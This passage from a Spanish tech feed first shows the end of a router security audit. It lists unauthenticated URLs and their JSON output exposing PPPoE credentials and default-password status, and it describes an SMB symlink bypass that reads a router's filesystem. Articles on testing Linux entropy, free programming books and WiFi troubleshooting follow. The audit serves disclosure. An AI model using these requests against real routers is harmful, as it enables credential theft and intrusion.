"192.168.1.40", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.40", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "9", "nameDevice": "192.168.1.34", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.34", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "10", "nameDevice": "192.168.1.33", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.33", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } ] }

    Para obtener información sobre los parámetros de conexión a Internet del dispositivo, puede accederse a:

    http://Router IP;/cgi-bin/webproc?getpage=html/gui/APIS/returnInternetJSON.txt&var:page=returnInternetJSON.txt&_=1430086980134

    { "RETURN":{ "success":true }, "INTERNET": { "physicalStatus": "down", "rateDown": "6,3Mb", "rateUp": "309Kb", "maxRateDown": 0, "maxRateUp": 0, "wanType": "DSL", "PPP": { "type": "PPPoE", "name": "PVC:8/32", "username": "adslppp@telefonicanetpa", "password": "adslppp", "ip" : "", "gw" : "", "mask" : "", "pppPath": "InternetGatewayDevice.WANDevice.1.WANConnectionDevice.2.WANPPPConnection.1." } } }

    Para saber si la contraseña del router es la que viene por defecto o ha sido cambiada, tan solo hay que acceder a:

    http://Router IP/cgi-bin/webproc?getpage=html/gui/APIS/returnPasswordJSON.txt&var:page=returnPasswordJSON.txt&_=1430086980134

    { "RETURN":{ "success": true }, "PASSWORD":{ "isDefault": true } }

    Bypass Authentication mediante Symlinks de SMB en Observa Telecom VH4032N

    Un atacante sin autenticar puede obtener todo el sistema de ficheros del router tras conectarse al servidor SMB del mismo.

    En primer lugar, se listan los servicios disponibles en el servidor de Samba hospedado por el router, observándose que el servicio storage está compartido y disponible.

    Listado de servicios disponibles en SMB

    Posteriormente, se realiza la conexión al servicio storage. Una vez establecida la misma, pueden listarse los ficheros disponibles.

    Acceso al servicio storage
    Debido a una mala configuración del servidor de SMB, es posible realizar enlaces simbólicos al sistema de ficheros del router, acceder a ellos y descargar su contenido.

    Realización del enlace simbólico al directorio /
    Se puede navegar libremente por el mismo, teniendo acceso a todos los archivos de configuración del router y las credenciales de los usuarios.

    Navegación libre por el sistema de ficheros

    Conclusiones

    La auditoría realizada a los routers domésticos evidencia graves problemas de seguridad. Estas deficiencias pueden ser fácilmente explotables por ciberdelincuentes o a menor escala, por algún graciosete. Por ello, tanto fabricantes como compañías de comunicaciones han de trabajar conjuntamente para corregir los problemas de seguridad actuales y diseñar dispositivos más seguros.

    Además, la mayoría de los routers afectados son muy utilizados en España, puesto que son regalados por los ISPs a sus consumidores. Esto ha llevado a varios medios españoles a hacerse eco de los problemas de seguridad encontrados.

    Si queréis obtener más información acerca de las vulnerabilidades, en los reportes a Full Disclosure y PacketStorm, podéis encontrar más información.

    Enlaces de interés:

    Contribución escrita por los autores:
    Jose Antonio Rodríguez García
    Álvaro Folgado Rueda 
    Iván Sanz de Castro

    14 Nov 04:33

    Jugando con números aleatorios en Linux

    by Fernando Acero

    Foros: 

    Por Fernando Acero

    ACTUALIZADO EL 11 DE NOVIEMBRE DE 2014

    LAS PISCINAS DE ENTROPÍA

    Hay casos documentados de ataques exitosos a sistemas por un mal diseño de un generador de números aleatorios. Uno de los más famosos, es el que comenta Kevin Mitnick en el primer capítulo de su libro "El arte de la intrusión". Es una historia real en la que unos amigos realizando ingeniería inversa de varias máquinas de casino, descubren que el generador de números aleatorios utilizado en las mismas, es realmente una secuencia muy larga de números y que tarde o temprano se repite. De esta forma, logran predecir el momento exacto en el que la máquina dará el premio. Este descubrimiento les permitió entrar en los casinos y ganar grandes sumas de dinero, lo que se prolongó varios años hasta que uno de ellos fue pillado en un casino usando el ordenador que hacía los cálculos escondido entre su ropa.

    Otro caso famoso, fue el fallo del navegador NETSCAPE a la hora de generar los números aleatorios necesarios para las sesiones SSL. Este fallo que hacía predecibles los números aleatorios usados, permitía que un atacante pudiera ver el tráfico cifrado entre el servidor y dicho navegador sin el conocimiento del usuario.

    Cuando trabajamos con Linux, los números aleatorios están disponibles en dos dispositivos, también denominados piscinas de entropía, denominados /dev/random y /dev/urandom. Recordemos que Linux tiene el honor de ser el primer sistema operativo que disponía de un generador aleatorio integrado en el kernel del sistema, aunque también es cierto, que hay algunos estudios del año 2013 que sostienen que el generador de números aleatorios de Linux no es tan bueno como debiera. Estos estudios se basan en que un ordenador determinista y un programa no son la mejor forma de lograr números aleatorios. Es decir los ordenadores están diseñados para no ser aleatorios, más bien todo lo contrario, no deben serlo y ante una determinada entrada, siempre deben proporcionar de forma previsible una misma salida, lo que evidentemente no es demasiado aleatorio. Pero como veremos hay métodos para comprobar lo buenos que son nuestros números aleatorio y para mejorar su generación.

    Para intentar paliar el problema del determinismo, el sistema operativo Linux recopila entropía de los contradores de dispositivo y de otras fuentes, como el teclado, ratón o el reloj del sistema y posteriormente, aplica algoritmos de hash para intentar generar unos números aleatorios, o lo que es lo mismo, impredecibles. Sin embargo, mediante este método, la cantidad disponible de números aleatorios es limitada. Es decir, cuando la fuente de entropía /dev/random está vacía, las lecturas de este dispositivo se bloquearán hasta que se logre llenar de nuevo con más números aleatorios. Es decir, /dev/random se comporta como una especie de "one-time-pad" que garantiza que los números aleatorios ya utilizados no se pueden volver a utilizar.

    Por estas características el dispositivo /dev/random está pensado para ser usado cuando se requieran unos números aleatorios de elevada calidad. Como por ejemplo, cuando es necesario generar claves criptográficas, o cuando se desea borrar un disco o un archivo de forma segura mediante sobreescritura aleatoria bit a bit. El comportamiento de /dev/random lo podemos comprobar introduciendo el siguiente mandato en una consola:

    hexdump -C /dev/random

    Tras pulsar la tecla Enter, veremos que aparecen una serie de números aleatorios en hexadecimal, pero que al poco tiempo el listado en pantalla se para. Esto se debe a que se han gastado los números aleatorios disponibles en dicha piscina de entropía. Para continuar, tendremos que añadir más entropía al sistema, lo que se suele hacer moviendo el ratón por la pantalla, pero ¿es una buena fuente de entropía adicional el movimiento del ratón?. Luego veremos unas posibles soluciones al problema.

    Si queremos saber la cantidad de entropía disponible en nuestro dispositivo /dev/random, debemos usar este mandato desde la consola:

    cat /proc/sys/kernel/random/entropy_avail
    568

    Evidentemente, con el avance del tiempo, al aumentar el tamaño de las claves y con el uso de sistemas mas seguros que hacen un uso extensivo de funciones criptográficas, también han aumentado las necesidades de números aleatorios. De esta forma, en una Mandriva de 2010, lo normal era que el mandato anterior diera valores inferiores a 200, mientras que en una Ubuntu 14.04 LTS, la entropía disponible rondará un valor entre 650 y 780, aunque como veremos, puede que este valor sea pequeño para algunos usos, Un caso típico sería generar una clave RSA de 4096 bits.

    Por otra parte, el dispositivo /dev/urandom devolverá tantos bytes como se soliciten. Como resultado, si no hay suficiente entropía, es decir, si no hay suficientes números en dicho dispositivo, la salida no se bloqueará y seguirá proporcionando valores, lo que puede provocar que no sean tan aleatorios como pensamos y haciéndolos vulnerables a determinados ataques.

    Por este motivo, /dev/urandom no se debe utilizar cuando la seguridad sea fundamental, por ejemplo, cuando deseamos generar una clave de larga duración GPG o SSL. No es así, por ejemplo, cuando lo que queremos es crear un programa de simulación que necesite una entrada de valores razonablemente aleatorios. Usando /dev/urandom nos aseguramos de que el programa no se detiene por la falta de números aleatorios. Como en el caso anterior, podemos abrir una consola y usar el mandato para ver su comportamiento:

    hexdump -C /dev/urandom

    Como hemos anticipado, en este caso el listado de números no se detiene, pero también es posible que la calidad de los datos aleatorios generados no sea muy buena.

    PROBANDO NUESTROS GENERADORES ALEATORIOS

    ¿Cómo podemos medir la calidad de nuestros números aleatorios generados por /dev/random y /dev/urandom?. El proceso es relativamente sencillo. Para ello podemos usar el mandato Linux ent, que se encarga de medir la entropía de archivos binarios. Para ello, generaremos dos archivos a partir de los valores de /dev/random y /dev/urandom. pero para que los datos estén generados en las mismas condiciones en las dos piscinas, lo primero que debemos hacer es comprobar la cantidad de entropía que tenemos disponible en /dev/random, lo que haremos mediante el mandato:

    cat /proc/sys/kernel/random/entropy_avail
    1100

    Si usamos este mandato varias veces, veremos que la cifra cambia. Para no superar el valor de entropía disponible en /dev/random elegiremos un tamaño de archivo con un valor inferior a todos los valores obtenidos tras realizar varias pruebas. En este caso usaremos un valor de 1000 caracteres, que es inferior a 1100:

    dd if=/dev/random of=rnd.test bs=1c count=1000
    1000+0 registros leídos
    1000+0 registros escritos
    1000 bytes (1,0 kB) copiados, 0,0695683 s, 14,4 kB/s

    Seguido del mandato:

    dd if=/dev/urandom of=urnd.test bs=1c count=1000
    1000+0 registros leídos
    1000+0 registros escritos
    1000 bytes (1,0 kB) copiados, 0,0739844 s, 13,5 kB/s

    Una vez que hemos creado los archivos rnd.test y urnd.test de 1K de tamaño cada uno de ellos, usaremos los mandatos siguientes:

    ent rnd.test
    Entropy = 7.820170 bits per byte.

    Optimum compression would reduce the size
    of this 1000 byte file by 2 percent.

    Chi square distribution for 1000 samples is 227.26, and randomly
    would exceed this value 75.00 percent of the times.

    Arithmetic mean value of data bytes is 131.8870 (127.5 = random).
    Monte Carlo value for Pi is 2.915662651 (error 7.19 percent).
    Serial correlation coefficient is 0.013190 (totally uncorrelated = 0.0).

    Seguido de:

    ent urnd.test
    Entropy = 7.790775 bits per byte.

    Optimum compression would reduce the size
    of this 1000 byte file by 2 percent.

    Chi square distribution for 1000 samples is 255.94, and randomly
    would exceed this value 50.00 percent of the times.

    Arithmetic mean value of data bytes is 129.5400 (127.5 = random).
    Monte Carlo value for Pi is 3.349397590 (error 6.61 percent).
    Serial correlation coefficient is 0.009675 (totally uncorrelated = 0.0).

    Como podemos ver, el valor de la entropía es superior en el caso del archivo rnd.test. El nivel de compresión que permiten ambos archivos de un 2%, siendo lo ideal para una entropía absoluta una compresión de un 0%. Este valor es muy dependiente del tamaño del archivo, por lo que es más probable que se logre una compresión del 0% en archivos de mayor tamaño.

    Asimismo, veremos los valores de la distribución Chi cuadrado (distribución de Pearson). Esta función es la prueba más utilizada para comprobar que una serie de datos es aleatoria y es muy sensible a los errores que se producen en con los generadores pseudoaleatorios. Esta función se calcula a partir de la secuencia de bytes del archivo y se expresa en la forma de un valor y de un porcentaje, que indica lo frecuente que un valor verdaderamente aleatorio debería exceder el valor calculado.

    Dicho valor se debe interpretar como el porcentaje de veces en la que la secuencia probada es sospechosa de no ser aleatoria. Es decir, si el porcentaje es mayor de 99% o menor del 1% podemos decir que la secuencia no es aleatoria. Si el porcentaje está entre el 99% y el 95% o entre el 1% y el 5%, podemos decir que la secuencia es posiblemente no aleatoria. Porcentajes entre el 90% y el 95% o entre el 5% y el 10% nos indican que la secuencia podría ser no aleatoria.

    Como referencia, estos son los valores que muestra dicha función, ante una secuencia procedente de un generador de números aleatorios reales basado en la descomposición radiactiva.

    Chi square distribution for 32768 samples is 237.05, and randomly
    would exceed this value 75.00 percent of the times.

    Si comparamos este valor, procedente de un generador aleatorio de alta seguridad, con los valores que acabamos de obtener anteriormente con nuestros /dev/random y /dev/urandom, veremos que nuestros generadores aleatorios no son nada malos en base a los valores obtenidos para la distribución de Pearson.

    Al margen de lo anterior, los valores obtenidos en este caso para la media aritmética, el valor de Pi (Monte Carlo) y para el coeficiente de correlación de la serie, aparentemente son mejores para la piscina de entropía /dev/urandom. Hay que señalar, que estos resultados comparativos no son demasiado significativos si solamente se obtienen una vez, sobre todo, si los ambos generadores son medianamente buenos, como parece que es el caso. Estos valores pueden cambiar de forma significativa entre pruebas consecutivas, por lo que se recomienda realizar varias mediciones y efectuar un análisis estadístico de las mismas, si queremos evaluar con más precisión o certeza la bondad de nuestros generadores de números aleatorios.

    Como hemos visto, el mandato ent solamente sirve para archivos binarios, sin embargo, en ocasiones podemos disponer de listados de números aleatorios en formato hexadecimal en modo texto ASCII procedente de otras fuentes, por ejemplo de la página Random.org, que es un servicio que proporciona números aleatorios con fines científicos o didácticos. Para poder verificar la calidad de los mismos, es necesario pasarlos a binario, para lo que podemos utilizar la utilidad SFK o en castellano, la "navaja suiza para ficheros".

    Otro mandato que nos vendrá muy bien para convertir volcados hexadecimales de números aleatorios a binario y viceversa, es xxd. Por ejemplo, para convertir un binario a hexadecimal plano, debemos usar el mandato:

    xxd -p RANDOM.BIN > RANDOM.TXT

    La opción -p es la que indica que lo que deseamos es un volcado hexadecimal en formato plano, es decir, sin equivalencia de caracteres, espacios, ni posición en el archivo. Para la operación inversa usaremos el mandato:

    xxd -p -r RANDOM.TXT > RANDOM.BIN

    En este caso la opción -p indica que el origen es un volcado plano y la opción -r, que lo queremos es realizar la operación inversa, es decir, convertir un archivo de texto en binario.

    También podemos concatenar archivos convertidos a texto o a binario usando >> en lugar de > en dichos mandatos y modificando el archivo de origen de forma sucesiva.

    Este mandato nos será de mucha utilidad cuando trabajemos con los generadores de números aleatorios de las tarjetas inteligentes.

    COMPROBANDO Y FILTRANDO UN FLUJO DE DATOS ALEATORIOS CON RNGTEST

    Alternativamente, para comprobar nuestro generador de números pseudoaleatorios /dev/urandom, podemos usar el mandato rngtest, que está disponible en el paquete rng-tools de Linux, mediante el mandato:

    cat /dev/urandom | rngtest -c 1
    rngtest 2
    Copyright (c) 2004 by Henrique de Moraes Holschuh
    This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

    rngtest: starting FIPS tests...
    rngtest: bits received from input: 20032
    rngtest: FIPS 140-2 successes: 1
    rngtest: FIPS 140-2 failures: 0
    rngtest: FIPS 140-2(2001-10-10) Monobit: 0
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 0
    rngtest: FIPS 140-2(2001-10-10) Long run: 0
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0
    rngtest: input channel speed: (min=18.626; avg=18.626; max=18.626)Gibits/s
    rngtest: FIPS tests speed: (min=136.239; avg=136.239; max=136.239)Mibits/s
    rngtest: Program run time: 189 microseconds

    En el mandato anterior hemos usado la opción -c 1, que limita el análisis a un único bloque, ya que se necesita como mínimo un bloque de 20.000 bits para pasar las pruebas FIPS 140-2 (monobit, póquer, rachas y rachas largas y ejecución continua).

    En este caso, el mandato rngtest ejecuta una serie de pruebas estadísticas diseñadas por la NSA y publicadas por el NIST, que deben pasar con éxito los generadores de números pseudoaleatorios para considerarse seguros.

    Una cosa interesante de este mandato, es que también lo podemos usar para mejorar nuestros generadores de números pseudoaleatorios mediante la opción -p que activa el modo "pipe" y que envía a la salida estándar solamente los bloques de 20.000 bits que han pasado con éxito las pruebas FIPS, lo que podemos probar mediante el mandato:

    cat /dev/urandom | rngtest -p -c 10 | hexdump

    Veamos ahora la forma en la que se realizan cada uno de estos tests FIPS:

    a) Test monobit

    Se cuenta el número de bits iguales a uno en una secuencia de datos aleatorios de como mínimo 20.000 bits. El test se pasa si dicho número está entre los valores 9.275 y 10.275.

    b) Test póquer

    En este caso se divide una secuencia de 20.000 bits en 5.000 segmentos contiguos de 4 bits. Después se cuenta y se almacena el número que ocurre cada uno de los 16 valores posibles, siendo f(v) el número de veces que apareció el valor v 0<=v<=15. Luego se calcula la expresión X = (16/5000) * ( f(1)^2 + f(2)^2 + ... + f(15)^2) – 5000. El test se pasa con éxito si 2,16 < X < 46,17.

    c) Test de rachas

    Una racha se define como una subsecuencia máxima de bits consecutivos de unos o de ceros y que forman parte de la secuencia inicial de 20.000 bits. Para el test se cuentan las ocurrencias para las rachas de 1 a 6 bits. El test se pasa si el número de rachas que ocurren (de longitudes 1 a 6) están en los intervalos especificados en la siguiente tabla, lo que se deberá verificar tanto para las rachas de ceros y de unos. Las rachas de longitud superior a 6 se considerarán de longitud 6.

    Longitud Número de ocurrencias
    1 2.343 - 2.657
    2 1.135 - 1.365
    3 542 - 708
    4 251 - 373
    5 111 - 201
    6 111 - 201

    d) Test de rachas largas

    Una racha larga se define como una racha de longitud 26 o más, con independencia de que sea de ceros o de unos, el test se pasa si en el bloque de 20.000 bits no hay rachas largas.

    e) Test de ejecución continua

    Para este test se divide el flujo de entrada en bloques de como mínimo 16 bits, adaptándose al tamaño de bloque del generador si es superior a 16 bits. Para el test, el primer bloque de 16 bits se compara con el segundo bloque de 16 bits, el segundo bloque será válido si no es idéntico al primero, de otro modo se considerará un fallo del generador. El segundo bloque de 16 bits será comparado con el tercero y así sucesivamente hasta terminar todos los bits de entrada.

    EL PROBLEMA DE LO ESTÁTICO

    Cuando un sistema Linux arranca sin mucha interación con el operador, el almacén de entropía puede estar en un estado relativamente predecible, por la reducción en la cantidad de "ruido" presente en el sistema y que es lo que se usa principalmente para generar números aleatorios. Para evitar este problema, podemos usar varios trucos aprovechando que los dispositivos /dev/random y /dev/urandom son de lectura y escritura. Por ejemplo, podemos guardar la información que habría presente en la piscina de entropía para ser usada como "semilla" en el siguiente arranque. Para ello podemos hacer un script que se ejecute durante el apagado del sistema con los mandatos siguientes:

    dd if=/dev/urandom of=/var/semilla_urandom count=1
    dd if=/dev/random of=/var/semilla_andom count=1

    Con ello hemos creado en el directorio del sistema /var/ dos archivos con el estado de /dev/random y /dev/urandom en el momento de apagar el sistema.

    Después añadiremos otro script para el arranque del sistema con los mandatos:

    if [ -f /var/semilla_urandom]; then
    cat /var/semilla_urandom > /dev/urandom
    fi
    dd if=/dev/urandom of=/var/semilla_urandom count=1

    if [ -f /var/semilla_random]; then
    cat /var/semilla_random > /dev/random
    fi
    dd if=/dev/random of=/var/semilla_random count=1

    Dicho script comprueba la existencia de los archivos /var/semilla_urandom y /var/semilla_random y en caso afirmativo, los copia en los dispositivos /dev/urandom y /dev/random y en caso contrario los crea adecuadamente.

    Evidentemente este problema de seguridad relacionado con la falta de enotropía es especialmente grave en los sistemas "live", en los sistemas creados con herramientas para realizar un "snapshot" de sistemas, como Gost o similar, y en las imágenes virtualizadas, cuando se realizan arranques sucesivos. En todos estos casos las piscinas de entropía empiezan desde la misma situación inicial una y otra vez, por lo que los sistemas que las usan son vulnerables hasta que se genere entropía nueva, lo que puede tardar un poco si hay poca interacción con el usuario.

    En estas situaciones y sobre todo, si vamos a usar dichas imágenes de los sistemas para tareas relacionadas con la seguridad o la criptografía, como generar claves criptográficas, acceder a páginas web seguras, o cualquier otra tarea que requiera disponer números aleatorios de cierta calidad, deberíamos obtener un archivo con entropía de calidad desde otro sistema e inyectarla en las piscinas de entropía del sistema estático, escribiendo sobre ellas, antes de comenzar a usar el sistema.

    JUGANDO CON GENERADORES DE HARDWARE

    Una forma sencilla de acceder a un generador de números aleatorios por hardware es mediante el uso de una tarjeta inteligente, puesto que todas ellas llevan uno integrado para la generación de claves. Para mis pruebas he usado una tarjeta CERES modelo "krirptonita" de la FNMT, ya que es una tarjeta que tiene unos controladores que funcionan perfectamente bajo mi Ubuntu 14.04 y que además, son compatibles con el dnie. Como es lógico, para que esto funcione también es necesario disponer de un lector de tarjetas inteligentes conectado a nuestro sistema y con sus controladores adecuadamente instalados.

    Una vez insertada la tarjeta en el lector, usaremos el mandato siguiente para conectar con ella:

    opensc-explorer --reader 0 -c dnie

    En este mandato usamos el lector 0 y el controlador dnie, que es el que se corresponde al de la tarjeta CERES,

    En el prompt que nos aparece, escribiremos el mandato random 128, puesto que este es el mayor número de números aleatorios que puede generar esta tarjeta cada vez. Cuando queramos salir del entorno de opensc-explorer, escribiremos exit seguido de intro:

    OpenSC Explorer version 0.12.3-svn
    OpenSC [3F00]> random 128
    00000000: F2 AC 2A 78 C5 C2 B1 30 A4 41 B6 28 31 7F 46 C4 ..*x...0.A.(1.F.
    00000010: FB A4 E9 AC 01 B4 B8 36 36 57 E3 84 7F 23 17 2F .......66W...#./
    00000020: D9 28 70 7D 7F 56 85 99 80 58 E8 E7 10 C0 C1 64 .(p}.V...X.....d
    00000030: CE 07 EB BB 3D 1A 29 B9 49 CF DE F6 66 97 EC 66 ....=.).I...f..f
    00000040: 3B 74 2E 01 0B E9 5A CD D2 07 11 0C 78 DA 12 69 ;t....Z.....x..i
    00000050: 26 E5 7F 7F 4D 18 C4 2C 84 89 18 BC B1 7F 11 0B &...M..,........
    00000060: 21 4A E2 EB C1 F5 7B 14 27 12 8E 39 55 A4 EB B6 !J....{.'..9U...
    00000070: E7 CA A1 1C 85 9A 6F 90 89 19 D8 F0 BF 6B D0 80 ......o......k..
    OpenSC [3F00]> exit

    Ahora podemos generar varios bloques y jugar con la opción -p (plain) del mandato xxd para generar un archivo de mayor tamaño, Por ejemplo,yo he concatenado 10 bloques random y he generado este archivo:

    900a522fd7a1f317eecdd7d645938e7fbe6a8ceda037d7750bd6af9c7d0d
    712ddf4d3aca9ecb7b9eec364df34416590e21b8bcc6a1706b807b0222bc
    564406e5a21c13aa8c9a3d5d5df106ad45dd6a13092372a70d1d22a081ca
    6a264ad08eca022d5b2f4f15829f4d856b5282d0d3932e2f41ac15ffdc9e
    352f94165ad12cfffa20bd47c5a3f99dac69e4bcf135140338d32d12632e
    9a3b60eb99e1c404cbe620ec09df62cb49080442d889e8849f7eb9840d17
    4d62fc51e4423e7349f254bea443ab2f2c31f67aa97bd8f249d2ecac4d65
    fa47be7f163ef5242456001e3b40606cafe54b4c14e3d547659526af973c
    6f9438079404ef1fba5245d081d866576baf89d9b0313c47bd11566d38e3
    8585a06f223bddcdba4dcb96c6b2469d5b0aae37dd4d2dd1365b59abf4a6
    d115b273e6cfb6883cd0ac5fee64c93228109b4a2e5ee2d0bd287f53a97c
    cefcfb82364b797fcc94c5400b97a4bb625f71c859e49bfd3632aecb8642
    e6492cdfe9ed816e257c5c7e3a0c261a611faff7f81991f7819c9fbc8575
    fc52644efdebc8e0eb5683396a9ae3c26c22aded3f9ad97c9f2133d902ef
    b61284271f106cafb983413ff388992396b5cfcb4caf0c19994dc4ef7620
    690142af8ce359d1916308781a366cef594ccf2177c1337327cab55c67fe
    48183e2e8c96364a5b39d867da7846b4d55199844377f452e13f4f877b30
    7edf4098ffd956fcafc75c317708d4a4bcd73bfe3c3e2eaa3062190d2196
    c1117e25df37971432f41673f60b130b6ec369e5e02206ec38b06525ee12
    8040b394f507e050dcc95fa11e8fbbd0535f611d836a0f21933dd9a4e634
    f8aa8332f08a78ed5b985f023799c0cf7bff14040675b47d5f540e804a9f
    de23027014a9258ba1472587d01c9d1befda8042f85ca471495426a0800b
    e745552d8c33fca90120bead2bdf2dbab5c8a848518e53f3708de54bbcdb
    2f0de596fc3a61d8e5112382f2a88d5cdc20d90bbcaeeaa4b43258adca88
    e1b7a12f96d3b4e29b445873b05d870c532ab75a5f0662c28f89866f05a2
    0b4a487f4c61752284aa559a0f7ba94581ae94f8d12e1f6956a4017be043

    Posteriormente, he usado el mandato xxd con las opciones -r y -p para generar un binario que podemos analizar con el mandato ent:

    ent fnmt_random.bin
    Entropy = 7.889725 bits per byte.

    Optimum compression would reduce the size
    of this 1952 byte file by 1 percent.

    Chi square distribution for 1952 samples is 326.03, and randomly
    would exceed this value 0.50 percent of the times.

    Arithmetic mean value of data bytes is 125.0840 (127.5 = random).
    Monte Carlo value for Pi is 3.089230769 (error 1.67 percent).
    Serial correlation coefficient is 0.002788 (totally uncorrelated = 0.0).

    Hay que señalar, que si la muestra obtenida con el generador no es lo suficientemente grande, es posible que los resultados del análisis no sean demasiado buenos. Alternativamente, si concatenamos suficientes bloques de 128 números aleatorios (8 bits), como para poder obtener más de 20.000 bits lo podemos analizar en base a las pruebas FIPS con el mandato rngtest:

    cat fnmt_random.bin | rngtest

    AUMENTANDO LA CANTIDAD DE ENTROPÍA DISPONIBLE

    Como hemos dicho, tan problemático es disponer de una entropía de calidad, como el disponer de una cantidad suficiente de entropía en la piscina /dev/random. Una solución al problema podría ser la utilización de un generador de entropía basado en hardware, entre los distintos modelos que hay en el mercado. De hecho, teniendo en cuenta los problemas para obtener números aleatorios de calidad a partir de soluciones de software, algunos fabricantes comenzaron a añadir en sus placas base dispositivos de generación de números aleatorios. Un ejemplo lo tenemos en el chip Bull Mountain. La polémica aparece, cuando en pleno debate sobre el espionaje de la NSA, se descubre que dicho chip cuando funciona en Linux no se usa realmente para aumentar la entropía de la piscina de Linux y mejorar su calidad. En su lugar, Intel añadió al núcleo de Linux una función denominada RdRand, que permite acceder directamente al chip, lo que algunos consideraron una amenaza al no poder auditar el chip.

    Por cierto, si no queremos que el núcleo de Linux use esta función para obtener números aleatorios de una fuente no auditable, solamente tenemos que añadir en la configuración de grub el parámetro "norand" para el arranque del núcleo. Para ello, editaremos el archivo /etc/default/grub y modificaremos la línea GRUB_CMDLINE_LINUX, para que aparezca como GRUB_CMDLINE_LINUX="norand", tras grabar este archivo, la próxima vez que arranquemos el sistema ya no usará el generador de números aleatorios por hardware.

    Visto lo anterior, una solución muy interesante y elegante podría ser la utilización en nuestro sistema de un generador aleatorio basado en hardware abierto, evitando así las dudas existentes con otros dispositivos de hardware cerrados.

    Alternativamente también tenemos una solución por software que nos permitirá aumentar la entropía del sistema y mejorarla al considerar otras fuentes de ruido. Se trata del demonio Linux haveged, que como su nombre indica, se basa en el algoritmo havege. Dicho algoritmo se basa en el hecho de que el tiempo de ejecución de una pieza determinada de software no se puede repetir incluso en una máquina en reposo.

    Para su funcionamiento usa algunas capacidades ocultas de los procesadores, tales como instrucciones ocultas y el caché de datos, así como las tablas de translación de memoria virtual asociadas. Havege usa las diferencias en el contador de tiempo de ejecución del procesador durante la ejecución de un bloque determinista de código, que recolecta estas variaciones en el sistema. El bucle está diseñado para que ejecute instrucciones y para que afecte al caché de datos, aumentando así la variación de la entropía.

    Para usarlo, solamente hay que instalar el paquete haveged y posteriormente editar como root el archivo /etc/default/haveged para que genere la cantidad de entropía que queramos. Por ejemplo, para generar una piscina de entropía de 1024 usaremos el mandato:

    DAEMON_ARGS="-w 1024"

    Una vez definido este valor habrá que asegurarnos de que haveged tiene en cuenta estos cambios en el siguiente arranque, para lo que usaremos el siguiente mandato en una consola como root:

    update-rc.d haveged defaults

    Seguido de lo siguiente, también como root:

    cd /etc/init.d
    ./haveged restart

    Ahora notaremos dos cambios importantes, si usamos el mandato:

    cat /proc/sys/kernel/random/entropy_avail

    Veremos que ha aumentado el tamaño de nuestra piscina de entropía, asimismo, si usamos el mandato siguiente:

    hexdump -C /dev/random

    Es posible que el listado no se pare como ocurría antes de activar el demonio haveged. Asimismo, si probamos la calidad de los números aleatorios generados usando los métodos descritos anteriormente, es posible que podamos comprobar que la calidad de los mismos es mayor.

    "Copyleft Fernando Acero Martín. Se permite la copia textual, la traducción y la distribución de este artículo entero en cualquier medio, a condición de que este aviso sea conservado. Se permite la cita. El autor no reclamará ninguna cantidad por el ejercicio de las dos autorizaciones anteriores. No autorizo a ninguna Entidad de Derechos de Autor a reclamar cantidad alguna en mi nombre."

    08 Aug 07:32

    Más de 670 libros de programación para descargar gratis

    by Juanguis

    Por suerte hoy en día aparecen todo tipo de recursos para apreder en internet, y hoy les quiero dejar este que seguramente les va a encantar, ya que consta de una colección de más de 670 libros de programación para descargar gratis.

    Hay libros de todo tipo, ya sea de Java / AJAX, Python, Ruby, C++, programación orientada a objetos, Perl, PHP, JQuery, .NET, programación para dispositivos móviles, y muchísimo más.

    libros de programacion gratis

    La colección está disponible en el conocido sitio OpenLibra y todos los libros pueden ser descargados sin pagar un solo centavo o visualizarlos en formato PDF de manera online.

    Espero que estos libros de programación gratis les hayan sido de utilidad y obviamente demás está decir que guarden la página en favoritos para entrar a descargar libros cuando tengan un poco de tiempo libre y quieran aprender programación.

    Enlace: Libros de programación

    Visto en Maestro de la Computación

    Este artículo Más de 670 libros de programación para descargar gratis fue publicado originalmente en Punto Geek.

    08 Aug 07:00

    Interferencias Wifi y No-Wifi

    by contribuciones
    Muchos creen que para montar una red Wifi, basta con comprar un router wifi (al cual se le conecta el internet) y para administrar la red le colocamos el SSID, (ojo no confundir SSID con BSSID) un cifrado WPA o superior, le activamos el DHCP (para la asignación de IPs de la LAN) y finalmente una clave de administración al router lo suficientemente robusta (y nunca cambian el usuario, que por lo general siempre es admin)... Y listo... Espere un momento. ¿No falta algo?... Déjelo así, que ya funciona de maravilla. Todos conectados y felices...

    De la vida real…
    Y a los pocos días... Grave la situación -dice el "admin"- Muy lenta la red, la gente se desconecta. Llamemos a “Fulano”, que es el duro en eso.
    Una hora después…
    - Tenías a mucha gente de afuera conectada ilegalmente a tu WiFi –dijo Fulano- Le metí todas las direcciones MAC de tu LAN en el router y quedó vacano... son 100 palos"
    Y al día siguiente...
    - Hijuep@&%#... Fulano me robó -dice el admin- La red sigue lenta. Llamemos a Mengano...
    Llega Mengano y luego de una revisión "exhaustiva", dijo:
    - Patrón; la solución es comprar un router de más calidad. Ese Cisco que tienes es a 54 y solo es compatible con B y G; necesitas uno a 300 y que maneje B/G/N… Tócalo para que veas... Si ves lo caliente que se pone… Eso es porque no soporta todo ese tráfico… Yo lo soluciono. Con “250 palos” verás cómo esa red vuela. Porque el ancho de banda de internet está bien; 10 megas es suficiente-
    Y al día siguientes (y la cuenta ir por 350 dólares)...
    - Malparid@&%#... -dice el admin- Sigue igual... Llamemos a "Zutano". Ese sí soluciona el asunto
    Y al llegar "Zutano", revisó los equipos y como un disco rayado (ya que casi todos los técnicos en mantenimiento de PC dicen lo mismo), explicó:
    - Virus... por toneladas. Tienes un zoológico en tu red local... Tienes dos opciones. Le metemos un antivirus a cada equipo, lo cual no es una garantía, o formateamos todos los equipos y los congelamos (freezer) para evitar que se metan más virus. Y tus usuarios que guarden los archivos en una usb o en una carpeta compartida...
    - Mmm... Formatearlos y meterles un freezer me parece más razonable
    Al final del día...
    - Ya está listo... 400 dolores
    24 horas después....
